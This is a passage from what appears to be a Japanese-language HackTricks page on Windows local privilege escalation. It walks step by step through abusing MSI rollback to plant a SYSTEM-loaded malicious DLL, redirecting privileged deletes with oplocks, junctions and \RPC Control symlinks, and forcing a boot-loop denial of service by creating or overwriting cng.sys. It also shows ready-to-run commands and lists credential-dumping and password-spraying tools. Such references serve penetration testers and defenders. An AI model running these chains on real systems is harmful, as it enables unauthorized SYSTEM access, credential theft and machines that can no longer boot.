    • インストール後、そのファイルへの handle を開いたままにしておきます。

  • Step 2: Begin Uninstall

    • 同じ .msi をアンインストールします。
    • アンインストール処理はファイルを C:\Config.Msi に移動し、.rbf ファイルにリネームします（rollback バックアップ）。
    • GetFinalPathNameByHandle を使って、ファイルが C:\Config.Msi\<random>.rbf になったことを検出するために、開いているファイルハンドルをポーリングします。

  • Step 3: Custom Syncing

    • .msi にはカスタムアンインストールアクション（SyncOnRbfWritten）が含まれます。これにより:
      • .rbf が書き込まれたことをシグナルします。
      • 続行する前に別のイベントで 待機 します。

  • Step 4: Block Deletion of .rbf

    • シグナルを受けたら、FILE_SHARE_DELETE なしで .rbf ファイルを 開きます — これにより削除を 防げます。
    • その後、アンインストールを完了させるために シグナルを返します。
    • Windows Installer は .rbf を削除できず、すべての内容を削除できないため、C:\Config.Msi は削除されません。

  • Step 5: Manually Delete .rbf

    • あなた（攻撃者）が手動で .rbf を削除します。
    • こうして C:\Config.Msi は空になり、ハイジャック可能になります。

この時点で、C:\Config.Msi を削除するために SYSTEM-level の任意フォルダ削除脆弱性 をトリガーしてください。

  1. Stage 2 – Rollback スクリプトを悪意あるものに置き換える

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

    • 自分で C:\Config.Msi フォルダを再作成します。
    • 弱い DACL（例: Everyone:F）を設定し、WRITE_DAC で handle を開いたまま にします。

  • Step 7: Run Another Install

    • もう一度 .msi をインストールします。設定:
      • TARGETDIR: 書き込み可能な場所
      • ERROROUT: 強制的に失敗させる変数
    • このインストールは再度 rollback をトリガーするために使用されます（.rbs と .rbf を読みます）。

  • Step 8: Monitor for .rbs

    • ReadDirectoryChangesW を使って C:\Config.Msi を監視し、新しい .rbs が現れるまで待ちます。
    • そのファイル名をキャプチャします。

  • Step 9: Sync Before Rollback

    • .msi にはカスタムインストールアクション（SyncBeforeRollback）が含まれます。これにより:
      • .rbs が作成されたときにイベントをシグナルします。
      • 続行する前に 待機 します。

  • Step 10: Reapply Weak ACL

    • .rbs created イベントを受信した後:
      • Windows Installer は C:\Config.Msi に強い ACL を再適用します。
      • しかし、あなたはまだ WRITE_DAC でハンドルを持っているため、再び弱い ACL を再適用できます。

ACL は ハンドルを開いた時点でのみ強制される ので、引き続きフォルダに書き込みできます。

  • Step 11: Drop Fake .rbs and .rbf

    • .rbs ファイルを上書きして、Windows に次を指示する 偽の rollback スクリプト を置きます:
      • あなたの .rbf（悪意ある DLL）を 特権のある場所（例: C:\Program Files\Common Files\microsoft shared\ink\HID.DLL）に復元するよう指示する。
      • 悪意ある SYSTEM レベルのペイロード DLL を含む偽の .rbf を配置する。

  • Step 12: Trigger the Rollback

    • 同期イベントにシグナルを送り、インストーラを再開させます。
    • 既知のポイントでインストールを意図的に失敗させるために、type 19 カスタムアクション（ErrorOut） が設定されています。
    • これにより rollback が開始 されます。

  • Step 13: SYSTEM Installs Your DLL

    • Windows Installer はあなたの悪意ある .rbs を読み込みます。
    • あなたの .rbf DLL をターゲット場所にコピーします。
    • これで SYSTEM が読み込むパスに悪意ある DLL が配置 されます。

  • Final Step: Execute SYSTEM Code

    • 信頼された auto-elevated binary（例: osk.exe）を実行し、ハイジャックした DLL をロードさせます。
    • 完了: あなたのコードが SYSTEM として実行 されます。

任意ファイルの削除/移動/名前変更 から SYSTEM EoP

主要な MSI rollback 手法（前述のもの）は、フォルダ全体（例: C:\Config.Msi）を削除できることを前提としています。しかし、もし脆弱性が 任意ファイルの削除のみ を許す場合はどうでしょうか？

NTFS の内部を悪用できます: すべてのフォルダには隠しの alternate data stream があり、それは次のように呼ばれます:

C:\SomeFolder::$INDEX_ALLOCATION

このストリームはフォルダーのインデックスメタデータを格納します。

つまり、フォルダーの**::$INDEX_ALLOCATIONストリームを削除すると、NTFSはファイルシステムからフォルダー全体を削除します**。

この操作は、次のような標準のファイル削除APIを使用して実行できます：

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

たとえ file delete API を呼び出していても、フォルダ自体が削除されます。

From Folder Contents Delete to SYSTEM EoP

プリミティブが任意のファイル/フォルダを削除できない場合でも、does allow deletion of the contents of an attacker-controlled folder のように、攻撃者が制御するフォルダの中身を削除できる場合はどうなるか？

  1. Step 1: ベイト用のフォルダとファイルを用意する
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Step 2: file1.txt に oplock を仕掛ける
  • その oplock は、特権プロセスが file1.txt を削除しようとしたときに 実行が一時停止 します。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. ステップ 3: SYSTEMプロセスをトリガーする（例: SilentCleanup）
  • このプロセスはフォルダをスキャン（例: %TEMP%）し、その中身を削除しようとする。
  • file1.txt に到達すると、oplockがトリガーされ、制御をあなたの callback に渡す。
  1. ステップ 4: oplock callback 内で – 削除をリダイレクトする

  • オプション A: file1.txt を別の場所へ移動する

  • これにより folder1 は空になるが、oplock を解除することはない。

  • file1.txt を直接削除してはいけない — それにより oplock が早期に解除されてしまう。

  • オプション B: folder1 を junction に変換する:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • オプション C: \RPC Control に symlink を作成する:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

これはフォルダのメタデータを格納する NTFS の内部ストリームをターゲットにしており — それを削除するとフォルダが削除されます。

  1. ステップ 5: oplock を解放する
  • SYSTEM プロセスは続行し file1.txt を削除しようとします。
  • しかし今、junction + symlink のため、実際に削除しているのは:
C:\Config.Msi::$INDEX_ALLOCATION

結果: C:\Config.Msi は SYSTEM によって削除されます。

任意のフォルダ作成から永続的なDoSへ

このプリミティブを悪用して、SYSTEM/adminとして任意のフォルダを作成することができます — たとえ ファイルを書き込めない または 弱い権限を設定できない 場合でも。

フォルダ（ファイルではなく）を 重要なWindowsドライバ の名前で作成します。例：

C:\Windows\System32\cng.sys
  • このパスは通常 cng.sys カーネルモードドライバに対応します。
  • それを 事前にフォルダとして作成すると, Windows はブート時に実際のドライバをロードできなくなります。
  • その後、Windows はブート時に cng.sys をロードしようとします。
  • フォルダを見つけると、実際のドライバを解決できず, クラッシュするかブートが停止します。
  • 外部の介入（例: ブート修復やディスクアクセス）なしには、フォールバックもなく, 復旧もできません。

特権ログ/バックアップパス + OM symlinks から任意ファイル上書き / ブート DoS へ

特権サービスが 書き込み可能な設定 から読み取ったパスにログやエクスポートを書き込む場合、そのパスを Object Manager symlinks + NTFS mount points でリダイレクトして、特権書き込みを任意の上書きに変えられます（SeCreateSymbolicLinkPrivilege が無くても）。

要件

  • 対象パスを保持する設定が攻撃者によって書き込み可能であること（例: %ProgramData%\...\.ini）。
  • \RPC Control にマウントポイントを作成でき、OM file symlink を作成できること (James Forshaw symboliclink-testing-tools).
  • そのパスに書き込む特権操作（ログ、エクスポート、レポートなど）が存在すること。

例のチェーン

  1. 設定を読み取り、特権ログの出力先を復元する。例: SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt が C:\ProgramData\ICONICS\IcoSetup64.ini にある。
  2. 管理者権限なしでパスをリダイレクトする:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. 特権コンポーネントがログを書き込むのを待つ（例：管理者が「send test SMS」をトリガー）。書き込み先は現在 C:\Windows\System32\cng.sys になる。
  2. 上書きされたターゲット（hex/PE parser）を検査して破損を確認する；再起動するとWindowsは改ざんされたドライバパスを読み込むため → boot loop DoS。これは特権サービスが書き込みのために開く任意の保護されたファイルにも一般化できる。

cng.sys は通常 C:\Windows\System32\drivers\cng.sys からロードされるが、C:\Windows\System32\cng.sys にコピーが存在する場合はそちらが先に試される可能性があり、破損データに対する信頼できる DoS シンクとなる。

High Integrity から SYSTEM へ

新しいサービス

もし既に High Integrity プロセスで動作している場合、SYSTEM へのパスは単に新しいサービスを作成して実行することで簡単になることがある：

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

サービス用バイナリを作成する際は、それが有効なサービスであるか、あるいは有効でない場合に備えて必要な処理を素早く実行するバイナリにすることを確認してください（有効なサービスでないと20秒で終了されます）。

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

次のリンクでコードを確認できます find the code here.

From SeDebug + SeImpersonate to Full Token privileges

If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to open almost any process (not protected processes) with the SeDebug privilege, copy the token of the process, and create an arbitrary process with that token.
Using this technique is usually selected any process running as SYSTEM with all the token privileges (yes, you can find SYSTEM processes without all the token privileges).
You can find an example of code executing the proposed technique here.

Named Pipes

This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

参照： https://github.com/itm4n/FullPowers

追加のヘルプ

Static impacket binaries

有用なツール

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – チェック：misconfigurations と機密ファイルの検出（check here）。検出。
JAWS – 一部の misconfigurations をチェックし情報収集（check here）。
privesc – misconfigurations のチェック
SessionGopher – PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP の保存セッション情報を抽出します。ローカル実行時は -Thorough を使用してください。
Invoke-WCMDump – Credential Manager から資格情報を抽出します。検出済み。
DomainPasswordSpray – 収集したパスワードをドメイン全体にスプレーします
Inveigh – PowerShell ベースの ADIDNS/LLMNR/mDNS スプーファー兼 MITM ツール。
WindowsEnum – 基本的な Windows の privesc 列挙
Sherlock ~~~~ – 既知の privesc 脆弱性を検索（Watson によって非推奨）
WINspect – ローカルチェック (管理者権限が必要)

Exe

Watson – 既知の privesc 脆弱性を検索（VisualStudio でのコンパイルが必要）（precompiled）
SeatBelt – ホストを列挙して misconfigurations を検索します（情報収集ツール寄り、privesc 用ではない）（コンパイルが必要）（precompiled）
LaZagne – 多くのソフトウェアから資格情報を抽出します（GitHub にプリコンパイル済み exe あり）
SharpUP – PowerUp を C# に移植したもの
Beroot ~~~~ – misconfiguration をチェック（実行ファイルは GitHub にプリコンパイル済み）。推奨しません。Win10 ではうまく動作しません。
Windows-Privesc-Check – 可能性のある misconfigurations をチェック（python から exe を生成）。推奨しません。Win10 ではうまく動作しません。

Bat

winPEASbat – このポストを基に作成されたツール（accesschk がなくても動作しますが、使用可能です）。

Local

Windows-Exploit-Suggester – systeminfo の出力を読み取り動作するエクスプロイトを推奨します（ローカル python）
Windows Exploit Suggester Next Generation – systeminfo の出力を読み取り動作するエクスプロイトを推奨します（ローカル python）

Meterpreter

multi/recon/local_exploit_suggestor

プロジェクトは正しいバージョンの .NET を使ってコンパイルする必要があります（see this）。被害者ホストにインストールされている .NET のバージョンを確認するには以下を実行できます:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする